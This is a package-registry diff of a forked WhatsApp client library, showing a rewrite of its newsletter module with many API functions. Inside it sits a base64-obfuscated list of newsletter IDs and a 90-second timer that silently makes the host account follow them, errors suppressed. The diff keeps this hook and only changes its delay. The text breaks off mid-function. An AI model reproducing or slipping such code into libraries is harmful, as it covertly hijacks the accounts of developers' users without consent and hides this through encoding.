@alannxd/baileys 6.1.4 → 6.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (55) hide show
  1. package/LICENSE +4 -1
  2. package/README.md +205 -281
  3. package/lib/Defaults/index.js +1 -1
  4. package/lib/Socket/chats.js +5 -0
  5. package/lib/Socket/graphql.js +716 -0
  6. package/lib/Socket/index.js +9 -1
  7. package/lib/Socket/interop.js +463 -0
  8. package/lib/Socket/message-builder.js +475 -0
  9. package/lib/Socket/messages-recv.js +1 -1
  10. package/lib/Socket/messages-send.js +106 -30
  11. package/lib/Socket/mex.js +51 -39
  12. package/lib/Socket/newsletter.js +729 -242
  13. package/lib/Socket/privacy.js +318 -0
  14. package/lib/Socket/socket.js +163 -16
  15. package/lib/Socket/username.js +225 -136
  16. package/lib/Store/make-in-memory-store.js +47 -1
  17. package/lib/Types/Mex.js +76 -2
  18. package/lib/Utils/index.js +1 -0
  19. package/lib/Utils/messages-media.js +82 -0
  20. package/lib/Utils/messages.js +143 -2
  21. package/lib/Utils/sticker.js +133 -0
  22. package/lib/Utils/use-sqlite-auth-state.js +162 -0
  23. package/lib/WAUSync/Protocols/USyncBotProfileProtocol.js +53 -0
  24. package/lib/WAUSync/Protocols/USyncBusinessProtocol.js +43 -0
  25. package/lib/WAUSync/Protocols/USyncContactProtocol.js +52 -50
  26. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +55 -52
  27. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +28 -25
  28. package/lib/WAUSync/Protocols/USyncFeatureProtocol.js +58 -0
  29. package/lib/WAUSync/Protocols/USyncLIDProtocol.js +30 -0
  30. package/lib/WAUSync/Protocols/USyncPictureProtocol.js +32 -0
  31. package/lib/WAUSync/Protocols/USyncSidelistProtocol.js +28 -0
  32. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +37 -36
  33. package/lib/WAUSync/Protocols/USyncTextStatusProtocol.js +38 -0
  34. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +25 -23
  35. package/lib/WAUSync/Protocols/index.js +12 -6
  36. package/lib/WAUSync/USyncQuery.js +149 -96
  37. package/lib/WAUSync/USyncUser.js +54 -29
  38. package/lib/WAUSync/index.js +3 -4
  39. package/lib/index.js +2 -3
  40. package/package.json +20 -21
  41. package/WAProto/fix-import.js +0 -29
  42. package/lib/Defaults/baileys-version.json +0 -3
  43. package/lib/Defaults/phonenumber-mcc.json +0 -223
  44. package/lib/Signal/Group/queue-job.js +0 -57
  45. package/lib/Socket/Client/abstract-socket-client.js +0 -13
  46. package/lib/Socket/Client/mobile-socket-client.js +0 -65
  47. package/lib/Socket/Client/web-socket-client.js +0 -62
  48. package/lib/Socket/community.js +0 -392
  49. package/lib/Socket/dugong.js +0 -637
  50. package/lib/Socket/registration.js +0 -167
  51. package/lib/Socket/usync.js +0 -69
  52. package/lib/Types/Newsletter.js +0 -38
  53. package/lib/Utils/baileys-event-stream.js +0 -63
  54. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +0 -51
  55. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +0 -29
@@ -1,64 +1,50 @@
1
- import { XWAPaths } from '../Types/index.js';
2
- import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
3
- import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
4
- import { makeGroupsSocket } from './groups.js';
5
-
6
- const QueryIds = {
7
- JOB_MUTATION: "7150902998257522",
8
- METADATA: "6620195908089573",
9
- UNFOLLOW: "7238632346214362",
10
- FOLLOW: "7871414976211147",
11
- UNMUTE: "7337137176362961",
12
- MUTE: "25151904754424642",
13
- CREATE: "6996806640408138",
14
- ADMIN_COUNT: "7130823597031706",
15
- CHANGE_OWNER: "7341777602580933",
16
- DELETE: "8316537688363079",
17
- DEMOTE: "6551828931592903"
18
- };
19
-
20
- export const makeNewsletterSocket = (config) => {
21
- const sock = makeGroupsSocket(config);
22
- const { authState, signalRepository, query, generateMessageTag } = sock;
23
- const encoder = new TextEncoder();
24
-
25
- const newsletterQuery = async (jid, type, content) => (
26
- query({
27
- tag: 'iq',
28
- attrs: {
29
- id: generateMessageTag(),
30
- type,
31
- xmlns: 'newsletter',
32
- to: jid,
33
- },
34
- content
35
- })
36
- );
37
-
38
- const newsletterWMexQuery = async (jid, query_id, content) => (
39
- query({
40
- tag: 'iq',
41
- attrs: {
42
- id: generateMessageTag(),
43
- type: 'get',
44
- xmlns: 'w:mex',
45
- to: S_WHATSAPP_NET,
46
- },
47
- content: [
48
- {
49
- tag: 'query',
50
- attrs: { query_id },
51
- content: encoder.encode(JSON.stringify({
52
- variables: {
53
- 'newsletter_id': jid,
54
- ...content
55
- }
56
- }))
57
- }
58
- ]
59
- })
60
- );
61
- const yangbrorasakan = [
1
+ import * as Types from '../Types/index.js'
2
+ import { generateProfilePicture } from '../Utils/messages-media.js'
3
+ import { getBinaryNodeChild } from '../WABinary/index.js'
4
+ import { makeGroupsSocket } from './groups.js'
5
+ import { executeWMexQuery } from './mex.js'
6
+
7
+ const parseNewsletterCreateResponse = response => {
8
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response
9
+ return {
10
+ id: id,
11
+ owner: undefined,
12
+ name: thread.name.text,
13
+ creation_time: parseInt(thread.creation_time, 10),
14
+ description: thread.description.text,
15
+ invite: thread.invite,
16
+ subscribers: parseInt(thread.subscribers_count, 10),
17
+ verification: thread.verification,
18
+ picture: {
19
+ id: thread.picture.id,
20
+ directPath: thread.picture.direct_path
21
+ },
22
+ mute_state: viewer.mute
23
+ }
24
+ }
25
+
26
+ const parseNewsletterMetadata = result => {
27
+ if (typeof result!== 'object' || result === null) {
28
+ return null
29
+ }
30
+ if ('id' in result && typeof result.id === 'string') {
31
+ return result
32
+ }
33
+ if ('result' in result && typeof result.result === 'object' && result.result!== null && 'id' in result.result) {
34
+ return result.result
35
+ }
36
+ return null
37
+ }
38
+
39
+ export const makeNewsletterSocket = config => {
40
+ const sock = makeGroupsSocket(config)
41
+ const { query, generateMessageTag } = sock
42
+
43
+ const mexQuery = (variables, queryId, dataPath) => {
44
+ return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
45
+ }
46
+
47
+ const yangbrorasakan = [
62
48
  "MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
63
49
  "MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
64
50
  "MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
@@ -72,199 +58,700 @@ export const makeNewsletterSocket = (config) => {
72
58
  QueryIds.FOLLOW
73
59
  );
74
60
  } catch (e) {}
75
-
76
61
  await new Promise(resolve =>
77
- setTimeout(resolve, 3000)
62
+ setTimeout(resolve, 6000)
78
63
  );
79
64
  }
80
65
  }, 90000);
81
- const parseFetchedUpdates = async (node, type) => {
82
- let child;
83
- if (type === 'messages')
84
- child = getBinaryNodeChild(node, 'messages');
85
- else {
86
- const parent = getBinaryNodeChild(node, 'message_updates');
87
- child = getBinaryNodeChild(parent, 'messages');
66
+
67
+ const newsletterUpdate = async (jid, updates) => {
68
+ const variables = {
69
+ newsletter_id: jid,
70
+ updates: {
71
+ ...updates,
72
+ settings: null
73
+ }
74
+ }
75
+ return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
76
+ }
77
+
78
+ return {
79
+ ...sock,
80
+ newsletterFetchAllSubscribe: async () => {
81
+ const list = await executeWMexQuery(
82
+ {},
83
+ Types.QueryIds.FETCH_SUBSCRIBE,
84
+ Types.XWAPaths.xwa2_newsletter_subscribed,
85
+ query,
86
+ generateMessageTag
87
+ );
88
+ return list;
89
+ },
90
+ newsletterCreate: async (name, description) => {
91
+ const variables = {
92
+ input: {
93
+ name,
94
+ description: description?? null
88
95
  }
89
- return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
90
- messageNode.attrs.from = child?.attrs.jid;
91
- const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
92
- const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
93
- const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
94
- .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
95
- const data = {
96
- 'server_id': messageNode.attrs.server_id,
97
- views,
98
- reactions
99
- };
100
- if (type === 'messages') {
101
- const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
102
- await decrypt();
103
- data.message = message;
104
- }
105
- return data;
106
- }));
107
- };
108
-
109
- return {
110
- ...sock,
111
- subscribeNewsletterUpdates: async (jid) => {
112
- const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
113
- return getBinaryNodeChild(result, 'live_updates')?.attrs;
114
- },
115
- newsletterReactionMode: async (jid, mode) => {
116
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
117
- updates: { settings: { reaction_codes: { value: mode } } }
118
- });
119
- },
120
- newsletterUpdateDescription: async (jid, description) => {
121
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
122
- updates: { description: description || '', settings: null }
123
- });
124
- },
125
- newsletterUpdateName: async (jid, name) => {
126
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
127
- updates: { name, settings: null }
128
- });
129
- },
130
- newsletterUpdatePicture: async (jid, content) => {
131
- const { img } = await generateProfilePicture(content);
132
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
133
- updates: { picture: img.toString('base64'), settings: null }
134
- });
135
- },
136
- newsletterRemovePicture: async (jid) => {
137
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
138
- updates: { picture: '', settings: null }
139
- });
140
- },
141
- newsletterUnfollow: async (jid) => {
142
- await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
143
- },
144
- newsletterFollow: async (jid) => {
145
- await newsletterWMexQuery(jid, QueryIds.FOLLOW);
146
- },
147
- newsletterUnmute: async (jid) => {
148
- await newsletterWMexQuery(jid, QueryIds.UNMUTE);
96
+ }
97
+ const rawResponse = await mexQuery(
98
+ variables,
99
+ Types.QueryIds.CREATE,
100
+ Types.XWAPaths.xwa2_newsletter_create
101
+ )
102
+ return parseNewsletterCreateResponse(rawResponse)
103
+ },
104
+
105
+ newsletterUpdate,
106
+
107
+ newsletterSubscribers: async jid => {
108
+ return mexQuery(
109
+ { newsletter_id: jid },
110
+ Types.QueryIds.SUBSCRIBERS,
111
+ Types.XWAPaths.xwa2_newsletter_subscribers
112
+ )
113
+ },
114
+
115
+ newsletterMetadata: async (type, key) => {
116
+ const variables = {
117
+ fetch_creation_time: true,
118
+ fetch_full_image: true,
119
+ fetch_viewer_metadata: true,
120
+ input: {
121
+ key,
122
+ type: type.toUpperCase()
123
+ }
124
+ }
125
+ const result = await mexQuery(
126
+ variables,
127
+ Types.QueryIds.METADATA,
128
+ Types.XWAPaths.xwa2_newsletter_metadata
129
+ )
130
+ return parseNewsletterMetadata(result)
131
+ },
132
+
133
+ newsletterFollow: jid => {
134
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.FOLLOW, Types.XWAPaths.xwa2_newsletter_follow)
135
+ },
136
+
137
+ newsletterUnfollow: jid => {
138
+ return mexQuery(
139
+ { newsletter_id: jid },
140
+ Types.QueryIds.UNFOLLOW,
141
+ Types.XWAPaths.xwa2_newsletter_unfollow
142
+ )
143
+ },
144
+
145
+ newsletterMute: jid => {
146
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.MUTE, Types.XWAPaths.xwa2_newsletter_mute_v2)
147
+ },
148
+
149
+ newsletterUnmute: jid => {
150
+ return mexQuery(
151
+ { newsletter_id: jid },
152
+ Types.QueryIds.UNMUTE,
153
+ Types.XWAPaths.xwa2_newsletter_unmute_v2
154
+ )
155
+ },
156
+
157
+ newsletterUpdateName: async (jid, name) => {
158
+ return await newsletterUpdate(jid, { name })
159
+ },
160
+
161
+ newsletterUpdateDescription: async (jid, description) => {
162
+ return await newsletterUpdate(jid, { description })
163
+ },
164
+
165
+ newsletterUpdatePicture: async (jid, content) => {
166
+ const { img } = await generateProfilePicture(content)
167
+ return await newsletterUpdate(jid, { picture: img.toString('base64') })
168
+ },
169
+
170
+ newsletterRemovePicture: async jid => {
171
+ return await newsletterUpdate(jid, { picture: '' })
172
+ },
173
+
174
+ newsletterReactMessage: async (jid, serverId, reaction) => {
175
+ await query({
176
+ tag: 'message',
177
+ attrs: {
178
+ to: jid,
179
+ ...(reaction? {} : { edit: '7' }),
180
+ type: 'reaction',
181
+ server_id: serverId,
182
+ id: generateMessageTag()
149
183
  },
150
- newsletterMute: async (jid) => {
151
- await newsletterWMexQuery(jid, QueryIds.MUTE);
184
+ content: [
185
+ {
186
+ tag: 'reaction',
187
+ attrs: reaction? { code: reaction } : {}
188
+ }
189
+ ]
190
+ })
191
+ },
192
+
193
+ newsletterFetchMessages: async (jid, count, since, after) => {
194
+ const messageUpdateAttrs = {
195
+ count: count.toString()
196
+ }
197
+ if (typeof since === 'number') {
198
+ messageUpdateAttrs.since = since.toString()
199
+ }
200
+ if (after) {
201
+ messageUpdateAttrs.after = after.toString()
202
+ }
203
+ const result = await query({
204
+ tag: 'iq',
205
+ attrs: {
206
+ id: generateMessageTag(),
207
+ type: 'get',
208
+ xmlns: 'newsletter',
209
+ to: jid
152
210
  },
153
- newsletterCreate: async (name, description, picture) => {
154
- await query({
155
- tag: 'iq',
156
- attrs: {
157
- to: S_WHATSAPP_NET,
158
- xmlns: 'tos',
159
- id: generateMessageTag(),
160
- type: 'set'
161
- },
162
- content: [
163
- {
164
- tag: 'notice',
165
- attrs: {
166
- id: '20601218',
167
- stage: '5'
168
- },
169
- content: []
170
- }
171
- ]
172
- });
173
- const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
174
- input: {
175
- name,
176
- description: description ?? null,
177
- picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
178
- settings: null
179
- }
180
- });
181
- return extractNewsletterMetadata(result, true);
211
+ content: [
212
+ {
213
+ tag: 'message_updates',
214
+ attrs: messageUpdateAttrs
215
+ }
216
+ ]
217
+ })
218
+ return result
219
+ },
220
+
221
+ subscribeNewsletterUpdates: async jid => {
222
+ const result = await query({
223
+ tag: 'iq',
224
+ attrs: {
225
+ id: generateMessageTag(),
226
+ type: 'set',
227
+ xmlns: 'newsletter',
228
+ to: jid
182
229
  },
183
- newsletterMetadata: async (type, key, role) => {
184
- const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
185
- input: {
186
- key,
187
- type: type.toUpperCase(),
188
- view_role: role || 'GUEST'
189
- },
190
- fetch_viewer_metadata: true,
191
- fetch_full_image: true,
192
- fetch_creation_time: true
193
- });
194
- return extractNewsletterMetadata(result);
230
+ content: [{ tag: 'live_updates', attrs: {}, content: [] }]
231
+ })
232
+ const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates')
233
+ const duration = liveUpdatesNode?.attrs?.duration
234
+ return duration? { duration: duration } : null
235
+ },
236
+
237
+ newsletterAdminCount: async jid => {
238
+ const response = await mexQuery(
239
+ { newsletter_id: jid },
240
+ Types.QueryIds.ADMIN_COUNT,
241
+ Types.XWAPaths.xwa2_newsletter_admin_count
242
+ )
243
+ return response.admin_count
244
+ },
245
+
246
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
247
+ await mexQuery(
248
+ { newsletter_id: jid, user_id: newOwnerJid },
249
+ Types.QueryIds.CHANGE_OWNER,
250
+ Types.XWAPaths.xwa2_newsletter_change_owner
251
+ )
252
+ },
253
+
254
+ newsletterDemote: async (jid, userJid) => {
255
+ await mexQuery(
256
+ { newsletter_id: jid, user_id: userJid },
257
+ Types.QueryIds.DEMOTE,
258
+ Types.XWAPaths.xwa2_newsletter_demote
259
+ )
260
+ },
261
+
262
+ newsletterDelete: async jid => {
263
+ await mexQuery(
264
+ { newsletter_id: jid },
265
+ Types.QueryIds.DELETE,
266
+ Types.XWAPaths.xwa2_newsletter_delete_v2
267
+ )
268
+ },
269
+
270
+ /**
271
+ * Update newsletter category/topic
272
+ */
273
+ newsletterUpdateCategory: async (jid, category) => {
274
+ return newsletterUpdate(jid, { topic: category })
275
+ },
276
+
277
+ /**
278
+ * Update newsletter invite codes / settings
279
+ */
280
+ newsletterUpdateSettings: async (jid, settings) => {
281
+ const variables = { newsletter_id: jid, updates: { settings } }
282
+ return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
283
+ },
284
+
285
+ /**
286
+ * Promote a subscriber to admin
287
+ */
288
+ newsletterPromoteAdmin: async (jid, userJid) => {
289
+ await query({
290
+ tag: 'iq',
291
+ attrs: {
292
+ id: generateMessageTag(),
293
+ type: 'set',
294
+ xmlns: 'newsletter',
295
+ to: jid
195
296
  },
196
- newsletterAdminCount: async (jid) => {
197
- const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
198
- const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
199
- return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
297
+ content: [
298
+ {
299
+ tag: 'admin_promote',
300
+ attrs: {},
301
+ content: [{ tag: 'participant', attrs: { jid: userJid } }]
302
+ }
303
+ ]
304
+ })
305
+ },
306
+
307
+ /**
308
+ * Get newsletter view/reach statistics
309
+ */
310
+ newsletterViewStats: async (jid, serverId) => {
311
+ const result = await query({
312
+ tag: 'iq',
313
+ attrs: {
314
+ id: generateMessageTag(),
315
+ type: 'get',
316
+ xmlns: 'newsletter',
317
+ to: jid
200
318
  },
201
- /**user is Lid, not Jid */
202
- newsletterChangeOwner: async (jid, user) => {
203
- await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
204
- user_id: user
205
- });
319
+ content: [
320
+ {
321
+ tag: 'message_updates',
322
+ attrs: { count: '1', server_id: String(serverId) }
323
+ }
324
+ ]
325
+ })
326
+ return result
327
+ },
328
+
329
+ /**
330
+ * Send a newsletter post via IQ (alternative to sendMessage for newsletters)
331
+ */
332
+ newsletterSendPost: async (jid, content, options = {}) => {
333
+ const result = await query({
334
+ tag: 'iq',
335
+ attrs: {
336
+ id: generateMessageTag(),
337
+ type: 'set',
338
+ xmlns: 'newsletter',
339
+ to: jid
206
340
  },
207
- /**user is Lid, not Jid */
208
- newsletterDemote: async (jid, user) => {
209
- await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
210
- user_id: user
211
- });
341
+ content: [
342
+ {
343
+ tag: 'publish',
344
+ attrs: {},
345
+ content: Array.isArray(content)? content : [content]
346
+ }
347
+ ]
348
+ })
349
+ return result
350
+ },
351
+
352
+ /**
353
+ * Pin a newsletter message
354
+ */
355
+ newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
356
+ await query({
357
+ tag: 'iq',
358
+ attrs: {
359
+ id: generateMessageTag(),
360
+ type: 'set',
361
+ xmlns: 'newsletter',
362
+ to: jid
212
363
  },
213
- newsletterDelete: async (jid) => {
214
- await newsletterWMexQuery(jid, QueryIds.DELETE);
364
+ content: [
365
+ {
366
+ tag: 'pin',
367
+ attrs: { server_id: String(serverId), duration: String(durationSecs) }
368
+ }
369
+ ]
370
+ })
371
+ },
372
+
373
+ /**
374
+ * Unpin a newsletter message
375
+ */
376
+ newsletterUnpinMessage: async (jid, serverId) => {
377
+ await query({
378
+ tag: 'iq',
379
+ attrs: {
380
+ id: generateMessageTag(),
381
+ type: 'set',
382
+ xmlns: 'newsletter',
383
+ to: jid
215
384
  },
216
- /**if code wasn't passed, the reaction will be removed (if is reacted) */
217
- newsletterReactMessage: async (jid, server_id, code) => {
218
- await query({
219
- tag: 'message',
220
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
221
- content: [{
222
- tag: 'reaction',
223
- attrs: code ? { code } : {}
224
- }]
225
- });
385
+ content: [
386
+ {
387
+ tag: 'unpin',
388
+ attrs: { server_id: String(serverId) }
389
+ }
390
+ ]
391
+ })
392
+ },
393
+
394
+ /**
395
+ * Invite a user to become an admin of a newsletter.
396
+ */
397
+ newsletterInviteAdmin: async (jid, userJid) => {
398
+ return mexQuery(
399
+ { newsletter_id: jid, user_id: userJid },
400
+ Types.QueryIds.ADMIN_INVITE,
401
+ Types.XWAPaths.xwa2_newsletter_admin_invite_create
402
+ )
403
+ },
404
+
405
+ /**
406
+ * Revoke a pending admin invite for a newsletter.
407
+ */
408
+ newsletterRevokeAdminInvite: async (jid, userJid) => {
409
+ return mexQuery(
410
+ { newsletter_id: jid, user_id: userJid },
411
+ Types.QueryIds.ADMIN_INVITE_REVOKE,
412
+ Types.XWAPaths.xwa2_newsletter_admin_invite_revoke
413
+ )
414
+ },
415
+
416
+ /**
417
+ * Accept an admin invite to a newsletter (called by the invitee).
418
+ */
419
+ newsletterAcceptAdminInvite: async jid => {
420
+ return mexQuery(
421
+ { newsletter_id: jid },
422
+ Types.QueryIds.ADMIN_INVITE_ACCEPT,
423
+ Types.XWAPaths.xwa2_newsletter_admin_invite_accept
424
+ )
425
+ },
426
+
427
+ /**
428
+ * Fetch admin-side metadata for a newsletter.
429
+ */
430
+ newsletterAdminMetadata: async (jid, options = {}) => {
431
+ const {
432
+ fetchPendingAdmins = true,
433
+ fetchAdminCount = true,
434
+ fetchCapabilities = false,
435
+ fetchAdminProfile = false,
436
+ includeAdminSettings = false,
437
+ includeJarvisConfig = false
438
+ } = options
439
+ return mexQuery(
440
+ {
441
+ jid,
442
+ include_thread_metadata: false,
443
+ include_messages: false,
444
+ fetch_pending_admin_invites: fetchPendingAdmins,
445
+ fetch_admin_count: fetchAdminCount,
446
+ fetch_capabilities: fetchCapabilities,
447
+ fetch_admin_profile: fetchAdminProfile,
448
+ include_admin_settings: includeAdminSettings,
449
+ include_jarvis_config: includeJarvisConfig
226
450
  },
227
- newsletterFetchMessages: async (type, key, count, after) => {
228
- const afterStr = after?.toString();
229
- const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
230
- {
231
- tag: 'messages',
232
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
233
- }
234
- ]);
235
- return await parseFetchedUpdates(result, 'messages');
451
+ Types.QueryIds.ADMIN_METADATA,
452
+ Types.XWAPaths.xwa2_newsletter_admin
453
+ )
454
+ },
455
+
456
+ /**
457
+ * Update admin profile fields for a newsletter
458
+ */
459
+ newsletterAdminProfileUpdate: async (jid, updates) => {
460
+ return mexQuery(
461
+ { newsletter_id: jid, updates },
462
+ Types.QueryIds.ADMIN_PROFILE_UPDATE,
463
+ Types.XWAPaths.xwa2_newsletter_admin_profile_update
464
+ )
465
+ },
466
+
467
+ /**
468
+ * Browse the newsletter directory by category.
469
+ */
470
+ newsletterDirectoryList: async (options = {}) => {
471
+ const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
472
+ const variables = { limit, sort_field: sortField, sort_order: sortOrder }
473
+ if (interests?.length) variables.interests = interests
474
+ return mexQuery(variables, Types.QueryIds.DIRECTORY_LIST, Types.XWAPaths.xwa2_newsletters_directory_list)
475
+ },
476
+
477
+ /**
478
+ * Search the newsletter directory.
479
+ */
480
+ newsletterDirectorySearch: async (searchText, options = {}) => {
481
+ const { limit = 20, startCursor = null, categories = null } = options
482
+ const variables = { search_text: searchText, limit }
483
+ if (startCursor) variables.start_cursor = startCursor
484
+ if (categories?.length) variables.categories = categories
485
+ return mexQuery(
486
+ variables,
487
+ Types.QueryIds.DIRECTORY_SEARCH,
488
+ Types.XWAPaths.xwa2_newsletters_directory_search
489
+ )
490
+ },
491
+
492
+ /**
493
+ * Fetch a preview of newsletters grouped by directory category.
494
+ */
495
+ newsletterDirectoryCategoryPreview: async (limit = 5) => {
496
+ return mexQuery(
497
+ { limit },
498
+ Types.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
499
+ Types.XWAPaths.xwa2_newsletters_directory_category_preview
500
+ )
501
+ },
502
+
503
+ /**
504
+ * Search for newsletters by text query.
505
+ */
506
+ newsletterSearch: async (query, limit = 20, startCursor = null) => {
507
+ const variables = { query, limit }
508
+ if (startCursor) variables.start_cursor = startCursor
509
+ return mexQuery(variables, Types.QueryIds.SEARCH, Types.XWAPaths.xwa2_newsletters_search)
510
+ },
511
+
512
+ /**
513
+ * Fetch recommended newsletters.
514
+ */
515
+ newsletterRecommended: async (limit = 10, numFollowed = null) => {
516
+ const variables = { limit }
517
+ if (numFollowed!= null) variables.num_newsletters_followed = numFollowed
518
+ return mexQuery(variables, Types.QueryIds.RECOMMENDED, Types.XWAPaths.xwa2_newsletters_recommended)
519
+ },
520
+
521
+ /**
522
+ * Fetch newsletters similar to a given newsletter.
523
+ */
524
+ newsletterSimilar: async (jid, limit = 10) => {
525
+ return mexQuery(
526
+ { newsletter_id: jid, limit },
527
+ Types.QueryIds.SIMILAR,
528
+ Types.XWAPaths.xwa2_newsletters_similar
529
+ )
530
+ },
531
+
532
+ /**
533
+ * Fetch the list of newsletters the current user is following.
534
+ */
535
+ newsletterFollowingList: async (startCursor = null, limit = 20) => {
536
+ const variables = { limit }
537
+ if (startCursor) variables.start_cursor = startCursor
538
+ return mexQuery(variables, Types.QueryIds.FOLLOWING_LIST, Types.XWAPaths.xwa2_newsletter_following)
539
+ },
540
+
541
+ /**
542
+ * Fetch admin insights/analytics for a newsletter.
543
+ */
544
+ newsletterInsights: async (jid, period = null) => {
545
+ const variables = { newsletter_id: jid }
546
+ if (period) variables.period = period
547
+ return mexQuery(variables, Types.QueryIds.INSIGHTS, Types.XWAPaths.xwa2_newsletter_admin_insights)
548
+ },
549
+
550
+ /**
551
+ * Fetch the list of users who voted in a newsletter poll.
552
+ */
553
+ newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
554
+ const variables = { id: jid, server_id: serverId }
555
+ if (option!= null) variables.option = option
556
+ if (startCursor) variables.start_cursor = startCursor
557
+ return mexQuery(
558
+ variables,
559
+ Types.QueryIds.POLL_VOTER_LIST,
560
+ Types.XWAPaths.xwa2_newsletters_poll_voter_list
561
+ )
562
+ },
563
+
564
+ /**
565
+ * Fetch the list of users who reacted to a newsletter message.
566
+ */
567
+ newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
568
+ const variables = { id: jid, server_id: serverId }
569
+ if (startCursor) variables.start_cursor = startCursor
570
+ return mexQuery(
571
+ variables,
572
+ Types.QueryIds.REACTION_SENDERS_LIST,
573
+ Types.XWAPaths.xwa2_newsletters_reaction_sender_list
574
+ )
575
+ },
576
+
577
+ /**
578
+ * Block a user from a newsletter (admin action).
579
+ */
580
+ newsletterBlockUser: async (jid, userJid) => {
581
+ return mexQuery(
582
+ { newsletter_id: jid, user_id: userJid },
583
+ Types.QueryIds.BLOCK_USER,
584
+ 'xwa2_newsletter_block_user'
585
+ )
586
+ },
587
+
588
+ /**
589
+ * Enable Wamo (paid subscription) for a newsletter.
590
+ */
591
+ newsletterEnableWamo: async jid => {
592
+ return mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
593
+ },
594
+
595
+ /**
596
+ * Disable Wamo (paid subscription) for a newsletter.
597
+ */
598
+ newsletterDisableWamo: async jid => {
599
+ return mexQuery(
600
+ { newsletter_id: jid },
601
+ Types.QueryIds.WAMO_DISABLE_SUB,
602
+ 'xwa2_newsletter_wamo_disable_sub'
603
+ )
604
+ },
605
+
606
+ /**
607
+ * Change the Wamo subscription tier or settings for a newsletter.
608
+ */
609
+ newsletterChangeWamo: async (jid, subConfig) => {
610
+ return mexQuery(
611
+ { newsletter_id: jid,...subConfig },
612
+ Types.QueryIds.WAMO_CHANGE_SUB,
613
+ 'xwa2_newsletter_wamo_change_sub'
614
+ )
615
+ },
616
+
617
+ /**
618
+ * Wamo helpers
619
+ */
620
+ wamoAfsAgeCollection: async jid =>
621
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_AFS_AGE_COLLECTION, Types.XWAPaths.xwa2_wamo_afs_age_collection),
622
+
623
+ wamoAssetCollection: async jid =>
624
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_ASSET_COLLECTION, Types.XWAPaths.xwa2_wamo_asset_collection),
625
+
626
+ wamoFetchAdhocNotice: async noticeId =>
627
+ mexQuery({ notice_id: noticeId }, Types.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
628
+
629
+ wamoFetchIdentityToken: async jid =>
630
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types.XWAPaths.xwa2_wamo_fetch_identity_token),
631
+
632
+ wamoSubComplianceInfo: async jid =>
633
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types.XWAPaths.xwa2_wamo_sub_get_compliance_info),
634
+
635
+ wamoUserIdVersion: async jid =>
636
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.WAMO_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_user_id_version),
637
+
638
+ wamoSetUserIdVersion: async (jid, version) =>
639
+ mexQuery({ newsletter_id: jid, version }, Types.QueryIds.WAMO_SET_USER_ID_VERSION, Types.XWAPaths.xwa2_wamo_set_user_id_version),
640
+
641
+ /**
642
+ * Leave a newsletter (unsubscribe).
643
+ */
644
+ newsletterLeave: async jid =>
645
